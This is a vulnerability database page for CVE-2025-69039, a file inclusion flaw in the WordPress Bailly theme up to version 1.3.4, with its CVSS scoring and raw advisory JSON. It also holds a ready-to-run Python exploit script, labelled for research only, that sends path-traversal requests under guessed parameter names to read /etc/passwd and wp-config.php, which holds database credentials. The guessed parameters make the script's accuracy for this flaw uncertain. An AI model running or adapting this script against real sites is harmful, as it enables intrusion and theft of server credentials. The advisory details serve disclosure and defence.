Security Vulnerability Report
中文
CVE-2025-69039 CVSS 8.1 HIGH

CVE-2025-69039

Published: 2026-01-22 17:16:17
Last Modified: 2026-04-27 20:16:26

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in goalthemes Bailly bailly allows PHP Local File Inclusion.This issue affects Bailly: from n/a through <= 1.3.4.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Bailly主题 <= 1.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-69039 PoC - WordPress Bailly Theme LFI # Target: WordPress site with Bailly theme <= 1.3.4 def exploit_lfi(target_url, filename='/etc/passwd'): """ Exploit Local File Inclusion vulnerability in Bailly theme Args: target_url: Base URL of the vulnerable WordPress site filename: Path to file to read (default: /etc/passwd) Returns: Content of the requested file """ # Common vulnerable parameter patterns in Bailly theme vulnerable_params = [ 'file', 'template', 'page', 'view', 'load', 'include' ] for param in vulnerable_params: try: # Attempt path traversal payload = f'../../../../../../..{filename}' params = {param: payload} response = requests.get( target_url, params=params, timeout=10, verify=False ) # Check if file content was returned if response.status_code == 200: if 'root:' in response.text or '[' in response.text: print(f"[+] Success with parameter: {param}") print(f"[+] File content:\n{response.text[:500]}") return response.text else: print(f"[*] Parameter {param} returned response but no file content") except requests.RequestException as e: print(f"[-] Error with parameter {param}: {e}") print("[-] Exploitation failed - no vulnerable parameter found") return None def read_wp_config(target_url): """ Attempt to read WordPress configuration file Common paths: wp-config.php, ../wp-config.php, etc. """ wp_config_paths = [ 'wp-config.php', '../../wp-config.php', '../../../wp-config.php', '../../../../wp-config.php', '../../../../../wp-config.php' ] print("[*] Attempting to read wp-config.php...") for path in wp_config_paths: result = exploit_lfi(target_url, path) if result and 'DB_NAME' in result: print(f"[+] Found wp-config.php at: {path}") return result return None if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-69039.py <target_url> [filename]") print("Example: python cve-2025-69039.py http://target.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' print(f"[*] Target: {target}") print(f"[*] Target file: {file_to_read}") print("[*] Starting exploitation...\n") exploit_lfi(target, file_to_read)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69039", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:17.000", "lastModified": "2026-04-27T20:16:26.473", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in goalthemes Bailly bailly allows PHP Local File Inclusion.This issue affects Bailly: from n/a through <= 1.3.4."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración include/require en un programa PHP (vulnerabilidad de 'inclusión remota de ficheros PHP') en goalthemes Bailly bailly permite la inclusión local de ficheros PHP. Este problema afecta a Bailly: desde n/a hasta &lt;= 1.3.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/bailly/vulnerability/wordpress-bailly-theme-1-3-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}